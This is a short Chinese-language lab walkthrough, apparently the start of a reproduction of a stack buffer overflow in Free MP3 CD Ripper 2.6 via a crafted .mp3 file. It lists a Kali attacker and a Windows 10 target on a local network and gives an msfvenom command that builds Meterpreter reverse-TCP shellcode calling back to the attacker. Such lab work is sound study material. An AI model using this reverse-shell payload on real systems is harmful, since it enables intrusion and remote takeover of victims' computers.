一.漏洞描述
Free MP3 CD Ripper是一款音频格式转换器。
Free MP3 CD Ripper 2.6版本中存在栈缓冲区溢出漏洞。远程攻击者可借助特制的.mp3文件利用该漏洞执行任意代码。
二.环境搭建
1.攻击机:kali2019 ip:192.168.0.171
2.靶机:windows10 安装Free MP3 CD Ripper 2.6版本 ip:192.168.0.160
三.漏洞复现
1.利用msf生成反向连接的shellcode,msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.171 lport=888 -f c --smallest
